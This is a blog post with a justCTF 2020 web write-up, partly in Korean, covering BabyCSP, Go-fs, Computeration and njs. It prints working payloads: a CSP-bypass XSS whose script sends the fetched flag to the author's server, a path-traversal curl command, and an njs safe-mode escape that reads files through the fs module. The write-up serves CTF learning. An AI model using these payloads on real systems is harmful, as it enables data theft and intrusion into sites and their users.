Profile

i love cat

as3617

justCTF 2020 Web writeup

아는 형들이랑 Alpray팀으로 같이 했는데 1등했다.

BabyCSP

We could see a source code by visiting main page.

<?php
require_once("secrets.php");
$nonce = random_bytes(8);

if(isset($_GET['flag'])){
 if(isAdmin()){
    header('X-Content-Type-Options: nosniff');
    header('X-Frame-Options: DENY');
    header('Content-type: text/html; charset=UTF-8');
    echo $flag;
    die();
 }
 else{
     echo "You are not an admin!";
     die();
 }
}

for($i=0; $i<10; $i++){
    if(isset($_GET['alg'])){
        $_nonce = hash($_GET['alg'], $nonce);
        if($_nonce){
            $nonce = $_nonce;
            continue;
        }
    }
    $nonce = md5($nonce);
}

if(isset($_GET['user']) && strlen($_GET['user']) <= 23) {
    header("content-security-policy: default-src 'none'; style-src 'nonce-$nonce'; script-src 'nonce-$nonce'");
    echo <<<EOT
        <script nonce='$nonce'>
            setInterval(
                ()=>user.style.color=Math.random()<0.3?'red':'black'
            ,100);
        </script>
        <center><h1> Hello <span id='user'>{$_GET['user']}</span>!!</h1>
        <p>Click <a href="?flag">here</a> to get a flag!</p>
EOT;
}else{
    show_source(__FILE__);
}

// Found a bug? We want to hear from you! /bugbounty.php
// Check /Dockerfile

Then we can get information about the server from the bottom comment.

FROM php:7.4-apache
COPY src-docker/ /var/www/html/
RUN mv "$PHP_INI_DIR/php.ini-development" "$PHP_INI_DIR/php.ini"
EXPOSE 80

Server is using php.ini-development as a setting in PHP.

Since then, we know we need to try XSS through the name of the problem, so we tried to attack but failed.

image-20210202221255732

XSS was restricted due to CSP on the server.

But Payload has a 23 character limit, so even if we find out the nonce value, there seems to be no way to bypass.

![image-20210202221652062](C:\Users\seungju Oh\AppData\Roaming\Typora\typora-user-images\image-20210202221652062.png)

At that time, Our team member Howdays succeeded in executing alert.

image-20210202221652062

https://baby-csp.web.jctf.pro/?user=%3Csvg/onload=alert(1)%3E&alg=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27

Because CSP was successfully bypassed, it was simply successful using the tiny xss payload found in the github of terjanq.

After uploading this payload to my server(http://c.testhack.p-e.kr/), I was able to get the flag by sending it to the bot.

<script>
window.name="fetch('/?flag=1').then(x=>x.text()).then(x=>top.location.replace('//myserver/?q='+btoa(x)))";
window.location="https://baby-csp.web.jctf.pro/?user=%3Csvg/onload=eval(name)%3E&alg=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA%27";
</script>

After solving the Challenge, I found out why this is possible.
Because the size of the response buffer in PHP is limited, and if the error occurs above and fills 4096 bytes, the response is sent before the header() run, so the csp does not work.

여기까지는 운영진 측에서 작성해달라고 해서 작성해준 writeup이고 나머지 웹문제는 대충 기억나는대로 적어보겠다.

Go-fs

go언어로 작성된 문젠데 url을 파싱해서 해당파일이 폴더에 존재하면 읽어서 응답해주는데 간단하게 다음 페이로드로 풀 수 있다.
curl -v -X CONNECT --path-as-is gofs.web.jctf.pro/../flag

Computeration

이건 언인텐으로 풀었는데 어드민한테 내 서버 url을 보내주면 접속을 해주는데 referrer에 이상한 url이 있고 거기 들어가면
플래그가 있다.

인텐은 ReDOS로 exploit하는 건데 iframe 띄워두고 iframe src에서 hash부분 바꿔주면서 ReDOS걸어주면 된다. flag 일부분이랑 동일하면
client side에서 dos가 걸려서 loading될 때 지연이 생기는데 이거 가지고 timing attack해서 flag뽑아주면 된다.
이후에 언인텐 고쳐서 문제가 다시 나오긴 했는데 해당 문제는 로컬에선 성공했는데 리모트에서 계속 실패해서 결국엔 못 풀었다

출제자 라업 -> https://terjanq.me/justCTF2020/computeration-parent.html

njs

nginx의 javascript 모듈을 exploit하는 문제다.
소스코드를 주는데 보면 prototype pollution이 일어난다.

image

대충 이런식으로 원하는 함수 호출하고 있는데 safe모드가 걸려있어서 fs모듈을 불러올 수 가 없었다.

근데 github에서 njs모듈의 safe mode쪽 코드를 잘 보다보면 이상하게 우회할 수 있다.

image

calc.addEquation('result', 'a){return require("fs").readdirSync("/")})//', 'return this')

이렇게 하면 진짜 어이없게 escape되서 safe mode가 우회된다.

[{"op": "add", "x": "1", "y": "2"},{"op": "add", "x": "1", "y": "2"},{"op": "toString", "x": "constructor", "y": "2"},{"op": "toString", "x": "constructor", "y": "2"},{"op": "toString", "x": "constructor", "y": "2"},{"op": "result", "x": "a){return require(`fs`).readFileSync(`/home/RealFlagIsHere1337.txt`)})//", "y": "return this"},{"op": "result", "x": "x", "y": "y"}]

최종적으로 위의 data를 서버로 전송해주면 flag 읽을 수 있다.

오랜만에 되게 재밌게 웹문제 푼거 같다.

'ctf writeup' 카테고리의 다른 글

m0leCon 2021 Teaser Writeup  (0) 2021.05.18
DarkCON ctf web writeup - VKL_SQL  (0) 2021.02.21
Layer7 CTF 2020 writeup  (0) 2020.11.15
사이버작전경연대회 2020 본선 - [Web] PMS writeup  (0) 2020.10.19
SSTF CTF 2020 Web - Migration  (0) 2020.08.18